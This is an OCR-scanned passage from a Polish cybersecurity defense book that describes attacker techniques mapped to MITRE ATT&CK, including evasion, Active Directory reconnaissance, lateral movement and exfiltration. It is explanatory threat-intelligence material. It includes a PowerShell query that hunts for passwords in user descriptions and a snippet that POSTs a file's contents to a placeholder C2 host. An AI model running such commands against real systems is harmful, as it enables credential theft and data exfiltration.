B Niezabezpieczone dane uwierzytelniajace (Unsecured Credentials, T1552).
To prawdziwa pieta achillesowa w wiekszo$ci organizacji. Pracownicy maja
tendencje do przechowywania haset w plikach. Dziat IT moze zakodowac na
state niektére dane uwierzytelniajace w rejestrze systemu w celu utatwienia
konserwacji i obstugi lub po prostu przechowywac¢ klucze API w plikach
konfiguracyjnych.

Wiekszos$¢ wspotczesnych systemow klienckich ma wbudowane mechanizmy bezpieczen-
stwa, ktore potrafig wykry¢ tego typu dziatania i im zapobiec. Stanowi to problem dla
atakujacych, zmuszajac ich do stosowania technik omijania zabezpieczen, aby moc konty-
nuowac swoje operacje. Istnieje szeroka gama technik stosowanych do omijania zabezpie-
czen w systemach Windows. Oto najczesciej wykorzystywane metody:

B Oslabianie obrony (Impair Defenses, T1562). Obejmuje wytaczanie lub nawet
odinstalowywanie narzedzi takich jak programy antywirusowe, modyfikowanie
zapory systemu Windows za pomocg polecenia netsh, wytaczanie rejestrowania
zdarzen Windows lub narazanie trybu awaryjnego. Te dziatania sg rzadko
wykorzystywane przez grupy ransomware, poniewaz mechanizmy bezpieczenstwa
nie dziataja w trybie awaryjnym.

B Usuwanie $ladéw (Indicator Removal, T1070). Obejmuje usuwanie plikow
zawierajacych tadunki, czyszczenie dziennikéw zdarzen, modyfikowanie
znacznikow czasu obiektow systemu plikow oraz odtgczanie udziatow
sieciowych.

B Ukrywanie artefaktow (Hide Artifacts, T1564). Obejmuje ukryte atrybuty
NTFS plikow i folderéw, ukrytych uzytkownikéw oraz maskowanie
argumentdéw procesow.

B Modyfikacja uprawnien plikéw i katalogéw (File and Directory Permissions
Modification, T1222). Pozwala atakujacym uzyska¢ dostep do wymaganych plikéw
i folderéw, najczesciej poprzez uruchomienie wbudowanego programu icalcs.

B Podszywanie sie (Masquerading, T1036). Polega na podpisywaniu ztosliwego
kodu przy uzyciu metadanych i informacji o podpisie pochodzacych z legalnego,
podpisanego programu (napotkaliSmy proébki IcedID podpisane fatszywymi
certyfikatami Nvidia). Obejmuje ona réwniez zmiane nazw narzedzi systemowych
(stosowang przez wiele programéw do kopania kryptowalut, np. tworzenie
kopii cmd. exe czy wscript.exe), zmiane nazw ustug i zaplanowanych zadan, aby
wygladaty na legalne (np. zadania, ktére tworzy RedCurl w swoich kampaniach)
poprzez uzywanie wielu jezykdw w nazwach plikéw, a takze zmiane rozszerzen
plikéw przy zachowaniu wlasciwego nagtéwka (np. plik.jpg, ktéry ma nagtéwek
PE wskazujacy, ze jest to plik wykonywalny).
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B Przejecie kontroli nad przeptywem wykonania (Hijack Execution Flow,
T1574). Polega na manipulowaniu sposobem, w jaki system operacyjny
znajduje programy do uruchomienia, biblioteki do uzycia oraz inne zasoby,
takie jak katalogi plikow czy klucze rejestru. Opisane wczesniej techniki
manipulacji bibliotekami DLL sg najpopularniejszymi przyktadami przejmowania
kontroli nad przeptywem wykonania. Warto wspomnie¢, ze ,boczne tadowanie”
bibliotek DLL (ang. DLL side loading) jest bardzo powszechng technika
stosowana do oszukiwania rozwigzan EDR.

B Zaciemnianie plikéw lub informacji (Obfuscated Files or Information,
T1027). Obejmuje rozne techniki maskowania polecen, takie jak generowanie
nazw zmiennych, szyfrowanie kodu i jego deszyfrowanie podczas wykonywania,
dodawanie pustych bajtéw (ang. code padding), uzywanie programow
kompresujacych (np. upx), a nawet metody obserwowane w atakach grup APT,
jak przemycanie kodu w plikach HTML.

B Wstrzykiwanie procesow (Process Injection, T1055) w celu zmylenia
specjalistéw ds. bezpieczenstwa.

B Modyfikowanie rejestru (Modifying Registry, T1112).

B Naduzycie mechanizmu kontroli rozszerzania uprawnien (Abuse Elevation
Control Mechanism, T1548). Polega na omijaniu zabezpieczenia UAC (ang. User
Account Control — kontrola konta uzytkownika).

B Manipulacja tokenami dostepu (Access Token Manipulation, T1134). Polega
na wykorzystaniu funkcji API systemu Windows. Obejmuje podszywanie sie
pod tokeny, tworzenie procesdéw z tokenami, fatszowanie identyfikatora
procesu nadrzednego (ang. parent proces ID — PPID) i inne techniki.

B Zadania BITS (BITS Jobs, T1197). Polega na wykorzystaniu zadan BITS do
wykonywania transferéw plikéw w tle.

B Wykorzystanie luk w celu ominiecia zabezpieczen (Exploitation for Defense
Evasion, T1211). Polega na naruszaniu mechanizméw bezpieczenstwa lub
innego istniejgcego oprogramowania, ktére zazwyczaj nie jest w centrum
uwagi i jest uznawane za zaufane przez zespoty ds. bezpieczenstwa.

Istnieje wiele innych zagadnien, ale nie jest mozliwe oméwienie wszystkich, poniewaz
wymagatoby to napisania osobnej ksigzki. Wiecej informacji mozna znalez¢, analizujac
macierz MITRE ATT&CK lub raporty firm zajmujacych sie cyberbezpieczenstwem.

Do tej pory omoéwili$my wszystkie niezbedne metody, ktére umozliwiajg podmiotom
stwarzajacym zagrozenie uzyskanie punktu zaczepienia, zdobycie odpowiednich
uprawnien, unikniecie wykrycia oraz przygotowanie sie do kolejnych etapéw ataku.

Rozpoznawanie sieci

Zazwyczaj po uzyskaniu dostepu do pierwszego zainfekowanego systemu atakujacy
wykorzystujg szereg narzedzi. Moga je pobrac za pomoca polecen powtoki PowerShell
takich jak Invoke-WebRequest, New-Object czy Start-BitsTransfer, uzy¢ wbudowanych narze-
dzi systemowych (tzw. living off the land”; https://lolbas-project.github.io/), przegladarki
internetowej lub po prostu przenies¢ je przez schowek, jesli korzystaja z potaczenia RDP.
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Te narzedzia zwykle obejmujg programy do rozpoznania $rodowiska Active Directory
w systemach Windows oraz narzedzia do rozpoznawania sieci.

Najpopularniejsze narzedzia do rozpoznawania Active Directory nie zmienity sie znaczaco
w ostatnich latach i s3 powszechnie wykorzystywane przez wiekszo$¢ grup ransomware
i grupy APT. Sg one tatwe w uzyciu, nie wymagaja wielu uprawnien, a zwykte konto
domenowe jest wystarczajgce. Jednakze egzekwowanie szczegétowych zasad tworzenia
hasel, stosowanie rozwigzan Local Administrator Password Solution (LAPS), BitLoc-
kera oraz wzmocnienia zabezpieczen Active Directory zmusi atakujacych do uprzed-
niego podniesienia uprawnien.

Oto najczesciej uzywane narzedzia wbudowane w dystrybucje systemu operacyjnego
Microsoft:

B ADRecon — narzedzie oparte na PowerShell stuzace do rozpoznawania
Srodowiska Active Directory.

B BloodHound lub jego wariant SharpHound — wykorzystuja gtéwnie funkcje
API Windowsa oraz funkcje przestrzeni nazw LDAP (ang. Lightweight
Directory Access Protocol) do zbierania danych z kontroleréw domeny
i systeméw Windows przylaczonych do domeny.

B ADFind — narzedzie wiersza polecent do wykonywania zapytan w Active
Directory.

B ADExplorer — zaawansowane narzedzie do przegladania i edytowania Active
Directory stworzone przez Sysinternals.

B CrackMapExec — narzedzie do analizy po przeprowadzonym ataku napisane
w Pythonie.

B PowerView — narzedzie stuzace do zdobywania $wiadomosci sytuacyjnej w sieci.

B Przegladarka LDAP — narzedzie programowe do przegladania i analizowania
katalogéw LDAP.

Oto kilka wbudowanych narzedzi, ktére mozna wykorzystac:

B Wbudowane aplety PowerShell, takie jak modut ActiveDirectory:
[System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest().
Sites.Subnets
Import-Module ActiveDirectory

PS> Get-ADObject -LDAPFilter "(&(objectClass=user)(description=*pass*))" -
property * | Select-Object SAMAccountName, Description, DistinguishedName

B Nltest to wbudowane narzedzie firmy Microsoft stuzace do wykonywania
zadan administracyjnych w domenie Active Directory. Umozliwia przeprowadzanie
réznych zapytan w celu sprawdzenia zaufania domeny, uzyskania listy
kontroleréw domeny, wymuszenia zdalnego wytaczenia systemu oraz
synchronizacji baz danych Active Directory kontroleré6w domeny.

B Net.exe to kolejne wbudowane narzedzie firmy Microsoft, ktore jest powszechnie
uzywane do kontrolowania interfejséw sieciowych, zarzadzania udostepnionymi
zasobami sieciowymi oraz monitorowania sesji uzytkownikow i ustug
systemowych.
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Niektore z tych narzedzi sg niezwykle wygodne w uzyciu. Na przyktad BloodHound nie tylko
umozliwia zbieranie danych z kontroleréw domeny i systeméw Windows przytaczo-
nych do domeny, ale takze pozwala mapowac relacje w sSrodowiskach Active Directory
i przedstawiac je w formie tatwego do analizy grafu, podobnego do tego z rysunku 2.3.

Node Info

Member

Raw Query

Rysunek 2.3. Wyniki rozpoznawania przeprowadzonego przez narzedzie Bloodhound

Wszystkie wspomniane narzedzia i programy uzytkowe wykorzystujg protokoty Microso-
ftu zaimplementowane w $§rodowiskach Active Directory: LDAP i SMB (ang. Simple
Message Block), wraz z ich otoczkami, w tym Microsoft RPC (ang. Microsoft remote
procedure call — zdalne wywotanie procedury) dziatajace przez porty TCP/UDP 139 i 445
oraz przez nazwane potoki sieciowe lub lokalne \pipe\<nazwa_potoku>. Ponadto moga
one korzysta¢ z narzedzi Microsoft Remote Server Administration Tools (RSAT),
jesli sa dostepne, oraz obstugiwac¢ protokoty uwierzytelniania takie jak Kerberos, NTLM,
Wdigest i SSL/TLS.
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W celu unikniecia wykrycia w niektérych przypadkach narzedzia te mogg by¢ zaciem-
nione lub skompresowane, pliki wykonywalne mogg mie¢ zmienione nazwy, a nazwy pa-
rametrow wej$ciowych moga zosta¢ zmodyfikowane.

W przypadku wariantéw ztosliwego oprogramowania, ktére mogg pobiera¢ nowe kompo-
nenty lub fadunki, istnieje mozliwo$¢ wykorzystania narzedzi takich jak Recon-AD. Jest
to narzedzie oparte na interfejsie Active Directory Service Interface (ADSI), ktére
poprzez obiekty COM uzyskuje dostep do funkcji ustug katalogowych od réznych do-
stawcow sieciowych. Tego typu narzedzia sa zazwyczaj dostarczane i uruchamiane bezpo-
$rednio w pamieci, co znacznie utrudnia analize $ledcza i wymaga monitorowania
przestrzeni uzytkownika, na przyktad poprzez przechwytywanie funkcji API Windowsa.
Jednakze mechanizmy wykrywania takich dziatan sg zaimplementowane we wszystkich
rozwigzaniach antywirusowych oraz systemach wykrywania i reagowania na zagroze-
nia (EDR).

Oto trzy gtéwne metody wykonywania kodu w pamieci, ktére sg zaimplementowane
w formie polecenn w narzedziach uzywanych po przeniknieciu do systemu i wykorzysty-
wane podczas atakow na systemy Windows w przedsiebiorstwach:

B wykonywanie bibliotek DLL w pamieci;
B wstrzykiwanie bibliotek DLL z odbiciem (ang. reflective DLL injection);

B wstrzykiwanie bibliotek DLL z uzyciem shellcode.

Oto najczesciej wykorzystywane tadunki uruchamiane w ramach frameworkdéw:

B Recon-AD-Domain, Recon-AD-Users, Recon-AD-Groups, Recon-AD-Computers,
Recon-AD-SPNs, Recon-AD-AllLocalGroups i Recon-AD-LocalGroups;

B narzedzie ldapdomaindump.

Wyniki rozpoznania Active Directory mozna uzyska¢ za pomoca narzedzia ADRecon
(https://github.com/sense-of-security/ADRecon). Pozwala ono pobra¢ nastepujace
informacje:

H [as;

domena;

relacje zaufania;
witryny;
podsieci;

domyslne i szczegétowe zasady dotyczace haset (jesli zaimplementowane);

kontrolery domen, wersje protokotu SMB, obstuga podpisywania SMB oraz
role FSMO;

uzytkownicy i ich atrybuty;
nazwy SPN (ang. Service Principal Names);
grupy i ich cztonkostwo;

jednostki organizacyjne (ang. organizational units — OU);

obiekty zasad grup (GPO) i szczeg6ty ich powigzan;

Kup ksigzke Pole¢ ksigzke


https://helion.pl/rf/skustr
https://helion.pl/rt/skustr

58 Skuteczne strategie obrony przed zaawansowanymi cyberatakami

strefy i rekordy DNS;

drukarki;

komputery i ich atrybuty;

atrybuty hasta;

hasta LAPS (jesli sg zaimplementowane);

klucze odzyskiwania BitLocker (jesli s3 uzywane);

listy kontroli dostepu (DACL i SACL) dla domeny, jednostek organizacyjnych,
konteneréw gtdwnych, obiektéw GPO, uzytkownikdw, komputeréw i grup;

B GPOReport (wymaga RSAT);
B Kerberoast (nie jest uwzgledniony w domyslnej metodzie zbierania danych);

B konta domenowe uzywane jako konta ustugowe (wymaga konta z uprawnieniami;
nie jest to uwzglednione w domyslnej metodzie zbierania danych).

Infrastruktura Active Directory nie ma ograniczen — wszystkie te rozwigzania bedg dzia-
ta¢ na lokalnych kontrolerach domeny, w $rodowiskach hybrydowych (Azure AD i lokalne
kontrolery domeny) oraz w catkowicie chmurowych wdrozeniach Azure AD.

Kolejnym krokiem po rekonesansie Active Directory jest odkrycie segmentacji sieci,
aby zobaczy¢, jakie inne podsieci sa dostepne. Oto najpopularniejsze narzedzia do rozpo-
Znawania sieci:

B SoftPerfect Network Scanner,
B Advanced IP Scanner,
B Advanced Port Scanner,
® Nmap,
B Zenmap.
Nastepujace wbudowane narzedzia systemu Windows czesto pozostaja niezauwazone:
B Net.exe,
Nbtscan,
Nmblookup,
Nslookup,

Ping.

W wyniku rozpoznania sieci atakujacy zdobywa informacje o dostepnych podsieciach,
przyporzadkowuje nazwy hostéw do ich adreséw IP oraz uzyskuje jasny obraz portéw
dostepnych z aktualnego hosta. Ponadto poszukuje niezatatanych systemdow, wykorzystujac
zaréwno metody aktywne (skanowanie podatno$ci), jak i pasywne (sprawdzanie wersji
systemu operacyjnego lub aplikacji sieciowych). Prawdopodobnie wykorzysta te infor-
macje w kolejnych etapach ataku. Nastepnym celem dla atakujgcego jest utrzymanie
wystarczajgcego dostepu i widoczno$ci w catej infrastrukturze. W kolejnej sekcji szczegé-
towo omoéwimy, jak to sie odbywa.
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Faza 2. Utrzymanie dostepu
I widocznosci

Po zakonczeniu pierwszej fazy atakujacy przystepuja do rozpoznawania najcenniej-
szych zasobow, przemieszczania sie w ich kierunku i przeprowadzania dalszego rozpozna-
nia na wypadek obecnosci szczegétowych list kontroli dostepu. Jest to proces iteracyjny,
ktéry moze wymagaé wielokrotnego powtarzania, zanim intruzom uda sie dotrze¢ do
celu (rysunek 2.4).

Faza 2.
. Odkrywanie Rozprzestrzenianie .
Faza 1. > A . o >
kluczowych zasobéw sie w sieci

) |

Rysunek 2.4. Etapy drugiej fazy ataku

Odkrywanie kluczowych zasobow

W tym miejscu nalezy pamieta¢, ze rézne typy aktoréw zagrozen maja odmienne cele.

Przestepcy stosujacy oprogramowanie ransomware najprawdopodobniej zidentyfikuja
najwazniejsze serwery obstugujace procesy biznesowe. Ich gtéwnym celem jest utrzy-
manie dostepu do catego przedsiebiorstwa, dlatego zapewne skupia sie na serwerach
Active Directory, infrastrukturze rozwigzan do tworzenia kopii zapasowych, serwerach
aplikacji biznesowych i Srodowiskach wirtualnych (takich jak VMware ESXi czy Hyper-
V), a takze serwerach plikow przechowujacych najbardziej krytyczne dane.

Studium przypadku

Mieli$my wielokrotnie do czynienia z atakami, w ktérych intruzi skutecznie uzyskiwali
dostep do infrastruktury VDI takiej jak Citrix czy Vmware dzieki wykorzystaniu waz-
nych kont uzytkownika lub niezatatanych luk. W fazie rozpoznawania sieci znajdowali
kontrolery domen Active Directory oraz rézne aplikacje biznesowe. Te ostatnie zazwy-
czaj s3 wdrazane w strefach zdemilitaryzowanych (ang. demilitarized zone — DMZ),
dlatego przemieszczanie sie do takich systemow jest nieoptacalne dla zdecydowanej
wiekszos$ci atakujacych podmiotéw. Jednak kontrolery domen to zupetnie inna bajka!
Zawsze stanowig takomy kasek. Po uzyskaniu wystarczajacych uprawnien (w niektd-
rych przypadkach narazone zostaty wszystkie hosty VDI, gdy znaleziono umieszczone
w pamieci podrecznej poswiadczenia administratora domeny z wcze$niejszej sesji, dzieki
ktérym intruzi uzyskali dostep do kontrolera domeny) i zyskaniu mozliwos$ci urucho-
mienia dowolnego kodu w §rodowisku ADC Citrix Netscaler z poziomu konta ustugi po
wykorzystaniu luki (CVE-2019-19781 lub CVE-2022-27518) albo zdobyciu danych uwierzytel-
niajgcych dzieki luce CitrixBleed (CVE-2023-4966) moga przemiesci¢ sie do kontrolera
domeny i kontynuowac atak.
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Pamietamy wywiad z Unknown, rzecznikiem prasowym grupy REvil, ktéry stwierdzit,
ze luki w Srodowisku Citrix sg Zenujgce nawet dla intruzéw, poniewaz wystarcza dwa klik-
niecia, aby uzyskac¢ dostep do infrastruktury catego przedsiebiorstwa i zacza¢ wdrazac
ransomware. Nawet wielkie korporacje padaty ofiarg ataku w niecate dwie godziny.

Inne grupy motywowane zarobkiem wcigz sprawdzajg infrastrukture bankomatéw,
kas fiskalnych oraz systemu SWIFT w poszukiwaniu lokalizacji aplikacji bankowych
oraz oprogramowania do przetwarzania ptatnosci, w tym srodowisk testowych (pamietaj,
Ze sg one zazwyczaj gorzej zabezpieczone oraz zawieraja cze$¢ rzeczywistych baz danych,
kluczy API lub oprogramowanie stuzace do podpisywania i szyfrowania danych finan-
sowych). By¢ moze nie s3 one dostepne z pierwszego przejetego hosta (oczywiscie zdarzajg
sie wyjatki, ale nie bedziemy zajmowac sie tu najprostszymi mozliwymi przypadkami).

Réwniez grupy APT zajmujace sie szpiegostwem staraja sie odkrywac serwery plikow,
infrastrukture poczty e-mail, bazy danych SQL aplikacji biznesowych, srodowiska pro-
gramistyczne (gdy koncentruja sie na atakowaniu taficucha dostaw), a takze kontrolery
domen.

Jezeli atakujacy podmiot ma na celu sianie spustoszenia, wykryje infrastrukture two-
rzenia kopii zapasowych, scentralizowane punkty sterowania srodowiskiem oraz obszary
zarzadzania infrastruktura maszyn wirtualnych.

Rozprzestrzenianie sie w sieci

Na tym etapie atakujacy doktadnie zbadali juz pacjenta zero i maja pelny wglad w dostepna
cze$c sieci. Teraz nadszedt czas, aby ruszy¢ dalej. Przyjrzyjmy sie najczeSciej stosowa-
nym technikom ruchu bocznego:

B Ustlugi zdalne (Remote Services, T1021). Polega na wykorzystaniu prawidtowych
kont do Iaczenia sie z innymi hostami za pomocg protokotu RDP. W tym przypadku
narzedzia wmic i bitsadmin sg uzywane do wykonywania kodu i dostarczania
tadunkéw do zdalnych systeméw. Ponadto PsExec jest bardzo czesto stosowanym
narzedziem wykorzystujacym udziaty SMB, ktore zazwyczaj sa wiaczone
i nieodpowiednio monitorowane.

B Wykorzystanie alternatywnych materialéw uwierzytelniajacych
(Use Alternate Authentication Material, T1550), ataki typu Pass the Hash
(T1550.002) i Pass the Ticket (T1550.003). Polegaja na gromadzeniu skrotow
NTLM i biletéw Kerberos, uzyskanych po pomy$lnym dostepie do poswiadczen
z pamieci procesu LSASS.

B Przesylanie narzedzi miedzy systemami (Lateral Tool Transfer, T1570).
Odbywa sie to przy uzyciu polecen wmic, bitsadmin i copy oraz narzedzia PsExec.

B Wykorzystanie ustug zdalnych (Exploitation of Remote Services, T1210).
Cyberprzestepcy moga wykorzystywac ustugi zdalne do uzyskania
nieautoryzowanego dostepu do systeméw wewnetrznych juz po przeniknieciu
do sieci. Moze to by¢ realizowane poprzez wykorzystanie luk w zabezpieczeniach
protokotéw takich jak SMB (Server Message Block), RDP (Remote Desktop
Protocol) czy SQL (najczesciej w przypadku MySQL lub MSSQL) w celu
wykonania dowolnych polecen. Atakujacy mogg rowniez wykorzystywac
podatnosci w ustugach serweré6w WWW.
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B Uslugi zdalne: udzialy administracyjne SMB/Windows (Remote Services:
SMB/Windows Admin Shares, T1021.002). Atakujacy mogg wykorzystywac
prawidtowe konta (T1078) poprzez nazwe uzytkownika i hasto lub technike
Pass the Hash (NTLM) do interakcji ze zdalnym udziatem sieciowym
(najczesciej C$, ADMINS i IPC$) za pomocg protokotu SMB. Nastepnie moga
wykonywa¢ dziatania jako zalogowany uzytkownik, aby wchodzi¢ w interakcje
z systemami za posrednictwem zdalnego wywotania procedury, podobnie jak
w przypadku znanego narzedzia PsExec z pakietu Microsoft SysInternals.

B Wewnetrzny spear phishing (Internal Spearphishing, T1534). Gdy atakujacy
nie moze uzyska¢ wiekszego dostepu z powodu ograniczonej widocznosci lub
uprawnien, moze wykorzystaé przejety komputer do wystania wiadomo$ci
e-mail zawierajacej ztosliwe linki lub zatgczniki w celu zainfekowania innych
uzytkownikow.

B Narzedzia do wdrazania oprogramowania (Software Deployment Tools,
T1072). Polega na uzyskaniu dostepu do legalnych systeméw uzywanych przez
dziat IT do zarzadzania instalacjami oprogramowania w sieci. W kilku przypadkach
zaobserwowali$my przejeta konsole systemu EDR, ktéra nastepnie wykorzystata
wbudowana funkcje do scentralizowanego uruchamiania skryptéw PowerShella
lub wsadowych z najwyzszym poziomem uprawnien. Za pomocg powtoki
PowerShell mozna uruchamia¢ globalnie dostepne pliki wykonywalne, ktore
zostaty umieszczone w udziale sieciowym z uprawnieniami dostepu dla grupy
EVERYONE.

B Ustlugi zdalne: Windows Remote Management (Remote Services: Windows
Remote Management, T1021.006) lub winrm. To narzedzie zostato wprowadzone
wraz z systemem Microsoft Server 2000. Jest ono powszechnie uzywane,
nawet przez specjalistow IT, do zarzadzania zdalnymi hostami za pomoca
zastrzezonego protokotu firmy Microsoft.

B Uslugi zdalne: rozproszony model obiektowy skladnikéw (Remote Services:
Distributed Component Object Model — DCOM, T1021.003). Umozliwia
programom Microsoft Office, mechanizmowi Dynamic Data Exchange i innym
obiektom COM wykonywanie dowolnego kodu powtoki na zdalnym hoscie.
Przyktadowo narzedzia do testéw penetracyjnych takie jak Cobalt Strike,
Empire i inne platformy wykorzystywane po ataku maja takie mozliwoSci.

B Pliki LNK na dostepnych udziatach sieciowych. Atakujacy dodaja flage
Hidden do oryginalnych plikéw z plikami LNK, aby otworzy¢ docelowy plik
i uruchomi¢ ztosliwe polecenie.

Studium przypadku

Grupa RedCurl, znana z prowadzenia szpiegostwa przemystowego, opracowata niespoty-
kang metode atakdw. Poczatkowo wykorzystywata spersonalizowane wiadomo$ci phis-
hingowe zawierajgce w tresci odnos$niki, aby uzyskac dostep do systemu ofiary. Odno$niki
te prowadzity do archiwéw SFX, ktdre stuzyty do dostarczenia poczatkowego tadunku
ztosliwego oprogramowania na komputer ofiary.
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Po uzyskaniu dostepu atakujacy wykorzystywali klucze uruchamiania (ang. run keys),
zaplanowane zadania lub skroty umieszczone w folderze Startup do dtuzszego pozo-
stania w systemie. Aby unikng¢ wykrycia, stosowali rézne techniki maskowania: uzywali
domen podobnych do legalnych domen ofiary lub zwigzanych z ustugami rzagdowymi,
nazywali zaplanowane zadania i klucze rejestru w taki sposoéb, ze niezwykle trudno
byto je odréznic¢ od standardowych sktadnikéw systemu operacyjnego. Ponadto wykorzy-
stywali zaciemnianie kodu, usuwanie plikéw oraz posrednie wykonywanie kodu binar-
nego za pomocg biblioteki Rund1132.

Poniewaz celem RedCurla byt szpiegostwo przemystowe, starat sie zebra¢ jak najwie-
cej danych, zaczynajac od poswiadczen przechowywanych w pamieci, plikach, mene-
dzerach hasel, a nawet w programie Microsoft Outlook. W tym celu grupa wykorzysty-
wata narzedzie LaZagne, skrypty PowerShella oraz fatszywe okna Outlooka. Ponadto,
podczas etapu rozpoznawania, aktywnie gromadzita informacje o zaatakowanym sys-
temie, dyskach lokalnych i sieciowych, udziatach administracyjnych oraz ustudze Active
Directory.

Jedna z najbardziej interesujacych technik stosowanych przez RedCurl byt sposéb prze-
prowadzania ruchu bocznego w sieci. Grupa ukrywata oryginalne pliki znajdujace sie
na dyskach sieciowych firmy i zastepowata je ztosliwymi plikami LNK.

Na koniec, gdy zebrano interesujgce dane (w wiekszosci przypadkow przy uzyciu skryp-
tow PowerShella), zostaty one przestane do ustug przechowywania w chmurze. Kolejna,
a zarazem ostatnia faza ataku obejmuje kroki, jakie napastnicy podejmujg, aby osig-
gnac¢ swoje cele.

Faza 3. Eksfiltracja danych i skutki

Faza 2. konczy sie, gdy atakujacy przejmuje kontrole nad wszystkimi kluczowymi zasobami
i systemami IT niezbednymi do normalnego funkcjonowania (na przyktad kopie zapa-
sowe i systemy biznesowe), uzyskuje maksymalne uprawnienia, zapewnia sobie nadmia-
rowy dostep do infrastruktury dowodzenia i kontroli oraz ma pelny wglad w stan zabez-
pieczen. Co dalej? W zaleznos$ci od celu atakujacego moze on nieustannie gromadzi¢
wszystkie potrzebne dane, przystapi¢ do dziatan destrukcyjnych lub zacza¢ przygotowania
do kradziezy pieniedzy. Etapy te przedstawia rysunek 2.5.

Faza 3.

Eksfiltracja . .
danych > Skutki

Y

Faza 2.

Rysunek 2.5. Etapy trzeciej fazy ataku
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Eksfiltracja danych

Kazdy nowo narazony zaséb jest dla atakujacego cennym Zrédiem informacji. Wszystkie
przydatne dane s3 zbierane i analizowane, a te najbardziej warto$ciowe s3 eksfiltro-
wane do infrastruktury przeciwnika. Istnieje wiele sposobdw, w jakie moze to nastgpi¢.
Przyjrzyjmy sie, jak dochodzi do takich wycieké6w danych.

Na poczatek spéjrzmy na kilka oczywistych metod:

B Przegladarka internetowa. Atakujacy otwiera interaktywna sesje z komputerem
ofiary. W tym przypadku napastnik po prostu uruchamia przegladarke,
odwiedza swojg strone internetowa i bezposrednio przesyta pliki.

B PowerShell. Najprostszym przyktadem jest wykonanie skryptu, ktéry pobiera
tadunek z podanego adresu URI i uruchamia go przy uzyciu okreslonej metody:

$contents = Get-Content <Petna Sciezka do pliku>
Invoke-WebRequest -Uri http://c2[.]<t1d>/<URI> -Method POST -Body $ contents

B curl, netcat. Te narzedzia sa uzywane do sprawdzania dostepnosci zasobow
internetowych, nawigzywania sesji oraz przesytania tadunku
do zainfekowanego hosta.

B WinSCP. Jest to program kliencki stuzacy do taczenia sie ze zdalnymi hostami
lub udziatami sieciowymi w celu pobierania plikow.

® Klienty FTP, takie jak FileZilla. Stuza do taczenia sie przez protokoty FTP,
SFTP i inne oparte na FTP w celu pobierania plikow ze zdalnych serwerdéw.
Niektore organizacje moga udostepniaé serwery do przechowywania danych,
co ulatwia atakujgcym umieszczanie w nich plikow.

B Przechowywanie w chmurze. Obejmuje to ustugi takie jak MEGA, Amazon S3,
Dysk Google i Dropbox. W niektérych przypadkach wykorzystywane sg mniej
znane platformy hostingowe. Przed latami 2020 - 2022 atakujacy korzystali
z ustug takich jak Firefox Send lub Send Files do eksfiltracji danych.

® Aplikacje dostepne publicznie. Sa to TOR, uTox, Twitter lub aplikacje czatowe
(na przyktad Telegram).

B E-mail. Wiadomosci e-mail mozna wysytac z zatacznikami, ktére nie przekraczaja
25 MB. Mozna to wykorzystac¢ na dwa sposoby:

m tworzenie wersji roboczej wiadomo$ci e-mail, uzyskiwanie dostepu do tego
samego konta z podejrzanego adresu IP, pobieranie plikow i usuwanie
wiadomosci;

®  wysytanie wiadomosci e-mail z zatgcznikiem.

B Narzedzia do zdalnego administrowania. Obejmuja one programy takie jak
miedzy innymi TeamViewer, AnyDesk, Splashtop, eHorus, Atera,

Meshcentral, TacticalRMM, RDP i VNC. Mozna ich uzywac do przesytania
pliko6w o rozmiarze do 2 GB.

Grupy ransomware lub APT moga wykorzystywac¢ wtasne, specjalnie opracowane narze-
dzia do wykradania danych. Na przyktad atakujgcy moga zaimplementowac niestandar-
dowe protokoty dziatajace ponad HTTP/HTTPS, aby ukry¢ ztosliwg aktywno$¢ w ruchu
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sieciowym i nie wzbudza¢ podejrzen zespotéw odpowiedzialnych za bezpieczenstwo i ob-
stuge sieci (ang. Network Operation Center — NOC). Oto kilka przyktadéw takich technik:

B StealBit. Niestandardowe narzedzie uzywane przez partneréw LockBit RaaS.

B Rclone. Narzedzie wiersza polecen uzywane do zarzadzania plikami,
wykorzystywane przez wielu cyberprzestepcéw, w tym przez grupy
powiazane z Medusa Lockerem i RansomHubem.

B ExMatter. Niestandardowe narzedzie do eksfiltracji danych uzywane przez
podmioty powigzane z oprogramowaniem ransomware BlackMatter.

B CovalentStealer. Narzedzie do eksfiltracji danych uzywane przez grupe
IronTiger oraz inne grupy APT powigzane z Chinami.

B svctrls stealer. Narzedzie uzywane przez grupe APT Patchwork powigzana
z Indiami. Jego celem jest kradziez obrazéw, dokumentéw biurowych,
wiadomosci e-mail, wydarzen z kalendarza i innych danych.

Istnieje wiele innych cech charakterystycznych dla konkretnych rodzin APT.

Jakie dane sg przedmiotem transferu? Automatyczne narzedzia do kradziezy informa-
cji zazwyczaj pozyskuja i przesytaja dane uwierzytelniajgce oraz skanuja pliki i foldery.
Nastepnie wszystkie interesujgce atakujacych pliki (czy to z lokalnych komputeréw,
chmurowych magazynéw danych czy udziatéw sieciowych) sa kompresowane za po-
mocg programéw takich jak 7zip czy WinRar, a potem przesytane na serwery kontroli
i sterowania.

W przypadku grup APT interesujgce je dane to gtéwnie dokumenty biurowe, takie jak
umowy, zamoéwienia, raporty (*docx, *pdf, *xls, *pptx, *.accdb), obrazy, skrzynki pocz-
towe (*pst, *ost i inne formaty danych klientéw poczty), wydarzenia w kalendarzu,
adresy odbiorcéw wiadomosci, dane specyficzne dla klientéw, takie jak zrzuty baz danych
SQL, plany, schematy, rysunki oraz informacje finansowe.

Oprogramowanie RaaS oraz programy typu wiper s3 rowniez w stanie eksportowac
cate dyski maszyn wirtualnych przed ich zablokowaniem lub usunieciem ze $rodowi-
ska ofiary. Zastanawiajgce jest, jak to mozliwie, ze tak znaczacy wzrost przeptywu danych
nie wzbudza podejrzen ani nie uruchamia alertéw w wiekszos$ci przypadkoéow, z kté-
rymi mieliSmy do czynienia. Jednakze w dalszej cze$ci tej ksigzki przyjrzymy sie blizej,
jak wykrywac takie dziatania i im zapobiegac.

Atakujgcy poszukujg najbardziej wartosciowych danych i ostroznie je wydobywajg,
czesto stopniowo, aby unikng¢ uruchomienia alertéw bezpieczenstwa opartych na wo-
lumenie. Mogg stosowaé zaawansowane techniki szyfrowania lub przekierowywac
dane przez wiele serwer6w proxy, aby zatrze¢ swoje $lady. Poziom ich wyrafinowania
zalezy od dojrzato$ci cyberbezpieczenstwa ofiary i wtasnych mozliwo$ci. Wykradzione
w ten sposéb dane mogg zosta¢ sprzedane w dark webie, wykorzystane do kradziezy
tozsamosci, szantazu lub uzyskania przewagi konkurencyjnej. W przypadku atakow APT
moga tez stuzy¢ do realizacji celéw rzadowych.

Wykradanie danych moze by¢ ostatecznym celem grup APT, ktére nieustannie moni-
toruja dziatalno$¢ biznesowa i zmiany w cyberbezpieczenstwie. ZaobserwowaliSmy
